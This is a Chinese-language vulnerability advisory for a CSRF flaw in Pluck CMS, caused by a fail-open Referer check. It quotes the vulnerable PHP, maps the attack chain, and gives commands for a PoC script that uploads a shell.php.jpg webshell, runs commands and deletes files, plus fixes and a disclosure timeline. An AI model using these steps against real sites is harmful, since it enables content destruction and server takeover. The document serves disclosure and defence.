管理员仅需访问一次页面,即可删除内容、注入页面并植入 WebShell
概览 · 摘要 · 根因 · 攻击链 · 利用 · 修复建议 · 时间线
Pluck 管理后台在整个代码库中没有任何基于请求的 CSRF 令牌。每个改变状态的管理操作都由同一个函数把关,即 requestedByTheSameDomain(),它唯一的防御是 Referer 主机名比对——而该检查是宽松模式(fail-open)的:当请求完全不带 Referer 头时,函数返回 true,操作被允许执行。
由于攻击者页面完全能控制是否发送 Referer(<meta name="referrer" content="no-referrer">),任何访问恶意页面的已登录管理员都可能被迫在跨站请求中执行特权操作。多个破坏性操作走 GET 请求,且 Pluck 未给 PHPSESSID 设置 SameSite 属性(浏览器默认按 SameSite=Lax 处理,该 Cookie 仍会随顶级 GET 导航一并发送),因此在浏览器默认设置下,这些操作可被跨站触达。
另一个次要的上传过滤器弱点则让同一个 CSRF 能够植入 shell.php.jpg 双扩展名文件——在 Apache/mod_php 主机上将 CSRF 升级为路过式 RCE(drive-by RCE)。
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
携带外来 Referer 的跨站请求会被正确拒绝(else 分支),这带来一种虚假的安全感——但攻击者只需抑制 Referer 的发送,就会命中宽松模式分支,请求随即被放行。该检查之后没有任何令牌层作为兜底。
这道关卡在 admin.php 中只调用一次,并据此信任整个 action 分发逻辑:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite(放大器)Pluck 从不调用 session_set_cookie_params(),因此 PHPSESSID 沿用浏览器默认的空配置 → 浏览器按 SameSite=Lax 处理,该 Cookie 仍会随顶级 GET 导航发送。因此,暴露在 GET 上的操作(deletefile、deleteimage、deletepage、module_delete、theme_delete、logout)只要受害者访问一次页面即可被伪造。
data/inc/images.php(RCE 放大器)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
这两项检查都能被轻易绕过:
$_FILES[...]['type'])→ 设为 image/jpeg 即可;shell.php.jpg 以 .jpg 结尾,顺利通过。文件最终写入 images/shell.php.jpg;在启用了多扩展名处理的 Apache/mod_php 主机上,该文件会以 PHP 被执行。
仅需一次已认证管理员访问页面——无需任何点击。
flowchart LR
A[管理员已登录 Pluck] --> B[打开攻击者页面]
B --> C["meta referrer=no-referrer<br/>抑制 Referer 发送"]
C --> D[顶级导航 / 自动提交表单至 admin.php]
D --> E["Lax 模式的 PHPSESSID Cookie 随请求发送<br/>Referer 缺失"]
E --> F["requestedByTheSameDomain() -> 宽松放行 -> true"]
F --> G1["deletefile / deletepage -> 内容破坏 / DoS"]
F --> G2["editpage -> 存储型内容注入"]
F --> G3["images 上传 -> shell.php.jpg -> RCE"]可被伪造的操作包括:
一套可用的 PoC 工具包位于 exploit/:
pluck_csrf_rce.py — 验证宽松模式逻辑、通过 CSRF 上传 WebShell 并执行命令、通过 CSRF 删除文件,或生成诱饵页面。csrf_poc.html — 投递给受害管理员的独立路过式攻击页面。pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
该 Python 脚本发出的请求刻意不携带 Referer,精确复现了 no-referrer 策略下受害者浏览器的请求。以下 HTTP 层的差异印证了这一逻辑:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️
.php.jpg→ RCE 这一步要求主机为 Apache/mod_php 环境,且配置为将多扩展名文件交给 PHP 执行。若未作此配置,CSRF 上传仍会成功,破坏性的delete/deletepage原语也不受影响——CSRF 才是核心漏洞,RCE 只是放大器。
Referer/Origin 视为不可信。优先使用 Origin 头,缺失或不匹配时予以拒绝。deletefile、deletepage、logout 等操作改为 POST,让 SameSite=Lax 提供基线保护。session_set_cookie_params() 设置 SameSite=Strict(或 Lax)、HttpOnly 和 Secure。| 日期 | 事件 |
|---|---|
| 2019-12 | 引入存在漏洞的 逻辑() |
本文内容仅用于教育及防御目的,且仅限经过授权的安全测试。请勿将其用于你不拥有、或未经明确书面许可进行测试的系统。作者对滥用行为不承担任何责任。
发现并记录:@IlhomjonR · CVE-2026-70376 · PT-2026-68036
| CVE ID | CVE-2026-70376 |
| Tracking ID | PT-2026-68036 |
| 产品 | pluck-cms/pluck — Pluck CMS(纯文件 PHP) |
| 受影响版本 | 4.7.x 至 4.7.21-dev / 当前 master |
| 弱点类型 | CWE-352(CSRF)· CWE-434(无限制上传,放大器) |
| CVSS v3.1 | 8.0 — 高危 · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| 攻击向量 | 网络 · 无需权限 · 管理员访问一次页面(UI:R) |
| 影响 | 内容破坏/DoS、存储型内容注入、Apache/mod_php 环境下的 RCE |
| 引入时间 | commit f79f916(2019 年 12 月)— 自该提交起便存在此漏洞逻辑 |
| 研究人员 | Ilhomjon Rustamov(@IlhomjonR) |
| 操作 | 方法 | 影响 |
|---|
admin.php?action=deletefile&var1=<f> | GET | 删除任意已上传文件 |
admin.php?action=deletepage&... | GET | 删除站点页面(DoS) |
admin.php?action=module_delete&... | GET | 移除模块 |
admin.php?action=logout | GET | 强制管理员登出 |
admin.php?action=editpage | POST | 注入存储型页面内容 |
admin.php?action=images(上传) | POST | 植入 shell.php.jpg → RCE |
requestedByTheSameDomain()f79f916| 2026-07-08 | 通过源码审计发现;端到端 PoC 已验证 |
| 2026-08-10 | 起草安全公告(PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 分配;公告与 PoC 发布 |